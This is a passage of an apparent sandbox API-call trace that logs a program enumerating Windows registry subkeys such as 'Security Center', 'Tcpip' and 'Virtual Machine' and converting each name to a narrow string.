dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x1d7c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0031.249] RegEnumKeyW (in: hKey=0x34, dwIndex=0x55, lpName=0x1d7b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0031.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0031.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x1d7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0031.249] RegEnumKeyW (in: hKey=0x34, dwIndex=0x56, lpName=0x1d7b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0031.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x1d7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0031.250] RegEnumKeyW (in: hKey=0x34, dwIndex=0x57, lpName=0x1d7b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0031.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x1d7c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0031.250] RegEnumKeyW (in: hKey=0x34, dwIndex=0x58, lpName=0x1d7b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0031.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0031.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x1d7c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0031.250] RegEnumKeyW (in: hKey=0x34, dwIndex=0x59, lpName=0x1d7b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0031.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x1d7c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0031.250] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5a, lpName=0x1d7b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0031.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x1d7c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0031.250] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5b, lpName=0x1d7b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0031.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0031.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x1d7c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0031.250] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5c, lpName=0x1d7b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0031.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x1d7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0031.250] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5d, lpName=0x1d7b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0031.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0031.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x1d7c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0031.251] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5e, lpName=0x1d7b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0031.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x1d7c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0031.251] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5f, lpName=0x1d7b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0031.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0031.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x1d7c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0031.251] RegEnumKeyW (in: hKey=0x34, dwIndex=0x60, lpName=0x1d7b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0031.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x1d7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0031.251] RegEnumKeyW (in: hKey=0x34, dwIndex=0x61, lpName=0x1d7b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0031.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0031.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x1d7c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0031.251] RegEnumKeyW (in: hKey=0x34, dwIndex=0x62, lpName=0x1d7b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0031.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0031.251] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.252] RegEnumKeyW (in: hKey=0x34, dwIndex=0x63, lpName=0x1d7b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0031.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0031.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x1d7c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0031.252] RegEnumKeyW (in: hKey=0x34, dwIndex=0x64, lpName=0x1d7b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0031.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x1d7c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0031.252] RegEnumKeyW (in: hKey=0x34, dwIndex=0x65, lpName=0x1d7b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0031.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x1d7c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0031.252] RegEnumKeyW (in: hKey=0x34, dwIndex=0x66, lpName=0x1d7b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0031.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1d7c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0031.252] RegEnumKeyW (in: hKey=0x34, dwIndex=0x67, lpName=0x1d7b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0031.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0031.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x1d7c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0031.252] RegEnumKeyW (in: hKey=0x34, dwIndex=0x68, lpName=0x1d7b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0031.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x1d7c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0031.252] RegEnumKeyW (in: hKey=0x34, dwIndex=0x69, lpName=0x1d7b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0031.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x1d7c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0031.252] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6a, lpName=0x1d7b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0031.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x1d7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0031.253] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6b, lpName=0x1d7b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0031.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0031.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x1d7c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0031.253] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6c, lpName=0x1d7b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0031.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0031.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x1d7c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0031.253] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6d, lpName=0x1d7b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0031.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x1d7c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0031.253] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6e, lpName=0x1d7b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0031.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0031.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x1d7c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0031.253] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6f, lpName=0x1d7b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0031.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0031.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x1d7c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0031.253] RegEnumKeyW (in: hKey=0x34, dwIndex=0x70, lpName=0x1d7b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0031.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0031.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x1d7c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0031.253] RegEnumKeyW (in: hKey=0x34, dwIndex=0x71, lpName=0x1d7b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0031.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x1d7c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0031.254] RegEnumKeyW (in: hKey=0x34, dwIndex=0x72, lpName=0x1d7b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0031.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x1d7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0031.254] RegEnumKeyW (in: hKey=0x34, dwIndex=0x73, lpName=0x1d7b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0031.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x1d7c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0031.254] RegEnumKeyW (in: hKey=0x34, dwIndex=0x74, lpName=0x1d7b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0031.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x1d7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0031.254] RegEnumKeyW (in: hKey=0x34, dwIndex=0x75, lpName=0x1d7b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0031.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0031.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x1d7c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0031.254] RegEnumKeyW (in: hKey=0x34, dwIndex=0x76, lpName=0x1d7b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0031.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0031.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x1d7c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0031.254] RegEnumKeyW (in: hKey=0x34, dwIndex=0x77, lpName=0x1d7b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0031.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0031.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x1d7c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0031.254] RegEnumKeyW (in: hKey=0x34, dwIndex=0x78, lpName=0x1d7b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0031.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x1d7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0031.255] RegEnumKeyW (in: hKey=0x34, dwIndex=0x79, lpName=0x1d7b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0031.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0031.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x1d7c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0031.255] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7a, lpName=0x1d7b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0031.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x1d7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0031.255] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7b, lpName=0x1d7b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0031.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, 